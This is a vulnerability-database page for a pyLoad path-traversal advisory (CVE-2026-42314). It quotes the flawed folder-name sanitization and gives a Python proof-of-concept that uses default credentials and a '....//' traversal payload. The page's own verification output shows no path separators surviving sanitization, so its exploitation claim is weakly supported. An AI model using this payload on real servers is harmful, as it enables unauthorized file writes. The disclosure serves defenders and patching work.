GHSA-97R3-5W84-R4Q8
Vulnerability from github – Published: 2026-05-05 21:13 – Updated: 2026-05-13 14:18
VLAI?
Summary
PyLoad Vulnerable to Path Traversal via Package Folder Name
Details
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
add_package()
Description
Package folder names are sanitized using insufficient string replacement:
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace("../", "_") # Bypassable!
.replace("..\\", "_")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
Proof of Concept
Setup
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
Exploit
#!/usr/bin/env python3
import requests
BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"
session = requests.Session()
# Login
session.post(f"{BASE_URL}/login", data={
"username": USERNAME,
"password": PASSWORD
})
# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"
resp = session.post(f"{BASE_URL}/api/add_package", json={
"name": "test_package",
"links": ["http://example.com/file.txt"],
"dest": 1 # Destination.QUEUE
})
package_id = resp.json()
print(f"Created package: {package_id}")
# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
"package_id": package_id,
"data": {"folder": folder_payload}
})
print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")
# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print(" The sanitized folder still contains '..' sequences that OS resolves")
Verification
Check where files would be written:
import os
download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"
# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil
# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil
# The .. sequences remain and could be resolved by OS during file operations
Impact
Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content
Severity ?
6.5 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.0b3.dev79"
},
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev100"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42314"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:13:08Z",
"nvd_published_at": "2026-05-11T18:16:35Z",
"severity": "MODERATE"
},
"details": "Insufficient sanitization of package folder names allows writing files outside the intended download directory.\n\n## Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `add_package()`\n\n## Description\nPackage folder names are sanitized using insufficient string replacement:\n\n```python\nfolder = (\n folder.replace(\"http://\", \"\")\n .replace(\"https://\", \"\")\n .replace(\"../\", \"_\") # Bypassable!\n .replace(\"..\\\\\", \"_\")\n .replace(\":\", \"\")\n .replace(\"/\", \"_\")\n .replace(\"\\\\\", \"_\")\n)\n```\n\nThe `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.\n\n## Proof of Concept\n\n### Setup\n```bash\npip install pyload-ng[all]\npyload -d \u0026\n# Default credentials: pyload / pyload\n```\n\n### Exploit\n```python\n#!/usr/bin/env python3\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\nUSERNAME = \"pyload\"\nPASSWORD = \"pyload\"\n\nsession = requests.Session()\n\n# Login\nsession.post(f\"{BASE_URL}/login\", data={\n \"username\": USERNAME,\n \"password\": PASSWORD\n})\n\n# Create package with malicious folder name\n# The pattern ....// bypasses the ../ replacement\n# After sanitization: .._ (still contains ..)\nfolder_payload = \"....//....//....//tmp/evil\"\n\nresp = session.post(f\"{BASE_URL}/api/add_package\", json={\n \"name\": \"test_package\",\n \"links\": [\"http://example.com/file.txt\"],\n \"dest\": 1 # Destination.QUEUE\n})\n\npackage_id = resp.json()\nprint(f\"Created package: {package_id}\")\n\n# Set malicious folder name\nresp = session.post(f\"{BASE_URL}/api/set_package_data\", json={\n \"package_id\": package_id,\n \"data\": {\"folder\": folder_payload}\n})\n\nprint(f\"Set folder payload: {folder_payload}\")\nprint(f\"Response: {resp.status_code}\")\n\n# When download occurs, files will be written outside download dir\nprint(\"[+] When a file is downloaded, it will be written to manipulated path\")\nprint(\" The sanitized folder still contains \u0027..\u0027 sequences that OS resolves\")\n```\n\n### Verification\nCheck where files would be written:\n```python\nimport os\n\ndownload_dir = \"/home/user/Downloads\"\nfolder = \"....//....//....//tmp/evil\"\n\n# Simulate pyLoad\u0027s sanitization\nsanitized = folder.replace(\"../\", \"_\").replace(\"/\", \"_\")\nprint(f\"After pyLoad sanitization: {sanitized}\")\n# Output: .._.._.._tmp_evil\n\n# When pyLoad does os.path.join and then opens the file:\nfinal_path = os.path.join(download_dir, sanitized)\nprint(f\"Joined path: {final_path}\")\n# Output: /home/user/Downloads/.._.._.._tmp_evil\n\n# The .. sequences remain and could be resolved by OS during file operations\n```\n\n## Impact\nAuthenticated users with ADD permission can:\n- Write files outside the download directory\n- Potentially overwrite system files (depending on permissions)\n- Clutter system directories with downloaded content",
"id": "GHSA-97r3-5w84-r4q8",
"modified": "2026-05-13T14:18:03Z",
"published": "2026-05-05T21:13:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42314"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyLoad Vulnerable to Path Traversal via Package Folder Name"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…